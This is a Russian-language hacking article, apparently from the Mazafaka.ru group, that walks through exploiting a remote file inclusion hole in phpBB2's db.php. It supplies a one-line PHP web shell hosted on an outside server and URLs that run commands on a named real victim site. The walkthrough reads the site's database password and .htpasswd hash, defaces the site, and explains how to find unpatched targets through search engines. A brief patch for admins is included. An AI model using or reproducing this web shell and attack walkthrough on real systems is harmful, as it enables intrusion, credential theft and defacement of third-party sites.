Огромная
дыра в phpBB
-
Привет! Сегодня речь пойдет о дырке в одном очень популярном форуме,
а именно phpBB2. Этот форум кстати установлен и у нас. Отличный форум.
Быстрый, красивый, легко настраиваемый и т.д. Но ко всему ПО массового
распространения нужно относиться должным образом. Чем большее кол-во
хакеров обкатывают продукт тем больше в нем обнаруживается дыр. Поэтому
если Вы уж поставили себе что-то подобное, то будьте добры подписаться
на рассылку bugtraq для данного продукта, а если таковой нет, то изредка
наведываться на сайт производителя дабы убедится, что с продуктом
все ОК, либо скачать заплатку.
Дырка была обнаружена во время моего отъезда. Один очень хороший человек
Device сообщил о этой дырке людям, которые замещали меня и когда я
приехал, то сразу залатал ее. Итак, в чем суть бага? Уязвимость обнаружена
в скрипте db.php Стоит подменить обращение :
'full_forum_path/includes/db.php?phpbb_root_path=full_script_path'
full_forum_path - это полный путь к форуму (Например, http://www.mazafaka.ru/forum
)
full_script_path - это полный путь к скрипту
Итак, надеюсь мысли уже появились? Угу, подменить скрипт на свой и
указать его месторасположение.
Пункт
номер один или пишем скрипт.
Откройте Ваш любимый редактор и напишите в нем строчку следующего
содержания:
<?php
echo "<pre>"; system($cmd); echo "</pre>";
?>
Теперь
файлик с этой строкой сохраняем под именем mysql.txt Теперь залезаем
на какой-нибудь бесплатный хостинговый сайт и регим себе сайт. создаем
в корне папкку с именем db и кидаем туда файл mysql.txt На самом деле,
я уже все это сделал за Вас. Скрипт лежит там же, где лежат трояны,
т.е. на mzfk1.narod.ru
Пункт
номер два или пора рутить.
С данного момента все пояснения буду проводить на примере конкретного
сайта. Жертвой я выбрал http://realmsoflegend.net/ Во-первых буржуйский,
а во вторых просто мне не понравился. И так. Вводим в броузер :
http://realmsoflegend.net/phpBB2/includes/db.php?phpbb_root_path=
http://mzfk1.narod.ru/&dbms=mysql&phpEx=txt&cmd=ls%20../%20-al
И
что же мы видим? Команда ls ../ -al отлично сработала. Хмм кто не
знает юниксовых команд, советую подучить. Команда ls - показывает
содержимое каталога (-al параметры) Команда cat - посмотреть содержимое
файла. Посмотрим что у нас в config.php
http://realmsoflegend.net/phpBB2/includes/db.php?phpbb_root_path=
http://mzfk1.narod.ru/&dbms=mysql&phpEx=txt&cmd=
cat%20../config.php
Вот
тут начинаются трудности... Тэг <pre> почему-то не сработал.
Поэтому что-бы посмотреть содержимое файла config.php надо нажать
View Source в эксплорере. Короче посмотреть что-же на самом деле выдал
броузер. А выдал он следующее:
<pre><?php
//
// phpBB 2.x auto-generated config file
// Do not change anything in this file!
//
$dbms = "mysql";
$dbhost = "localhost";
$dbname = "rol";
$dbuser = "roluser";
$dbpasswd = "rolpass";
$table_prefix = "phpbb_";
define('PHPBB_INSTALLED', true);
?><br>
<b>Fatal error</b>: Cannot instantiate non-existent class:
sql_db in <b>/usr/local/httpd/htdocs/realmsoflegend.net/phpBB2
/includes/db.php</b>
on line <b>55</b><br>
Ну наши потуги были не бессмысленными. Мы узнали пароль от базы данных
- rolpass.. Хмм Идем дальше поднимаемся на уровень выше и видим файлик
.htpasswd =) Интересно что там? Посмотрим...
http://realmsoflegend.net/phpBB2/includes/db.php?phpbb_root_path=
http://mzfk1.narod.ru/&dbms=mysql&phpEx=txt&cmd=
cat%20../../.htpasswd
А
вот что : jesse:hlXYungXL2xM6
Славненько, можно расшифровать Юниксовский пасс.
Теперь пора дефэйсить. Я не хотел морать себе руки в дефейсе этого
сайта, поэтому просто создал файл в корне index1.php Сделал я это
так:
http://realmsoflegend.net/phpBB2/includes/db.php?phpbb_root_path=
http://mzfk1.narod.ru/&dbms=mysql&phpEx=txt&cmd=
echo%20'Hacked'%20>%20../../index1.php
Подобным
образом вы можете написать и поверх в файл index.php Теперь о некоторых
тонкостях. Если вы хотите придать дефэйсу красочность, то потребуется
графика. Ничего загружать не надо. Достаточно просто сделать картинку
размером эдак 800 на 640 или более, положить ее на свой сервер.. Далее
слепить файл, который будет содержать одну строчку <body background=
"http://mzfk1.narod.ru/hacked.jpg"> Только когда будете
юзать echo используйте перед знаками > и < знак / Ну вот и все
=)
Теперь как эту багу исправить.. Ну это скорее часть для админов и
веб-мастеров. Я исправил так :
1. В файл extension.inc пишем define("PHPBB", 1);
2. В файл db.php пишем в начало кода
if
( !defined("PHPBB") )
{
die("hacker ??? =) Contact us info@mazafaka.ru");
}
Вот
так ! А искать сайты с phpBB2 очень просто: заходим на yahoo.com,
altavista.com и т.д. и набираем в поиске phpBB2 или Powered by phpBB
2.0 и получаем огромный список не пропатченных сайтов...
А
вот еще просьбочка. Вы сайт-то этот не ломайте... А то багу закроют
и обломится отличный тренажер для других людей. И еще. Есть такое
понятие как оставлять greets другим командам =) Уж не забудьте про
Mazafaka.Ru - Network Terrorism =) Ну все ... Удачных взломов! (А
ну еще линк при перепечатке материалов ставить не забудьте... А то
мы действуем быстро).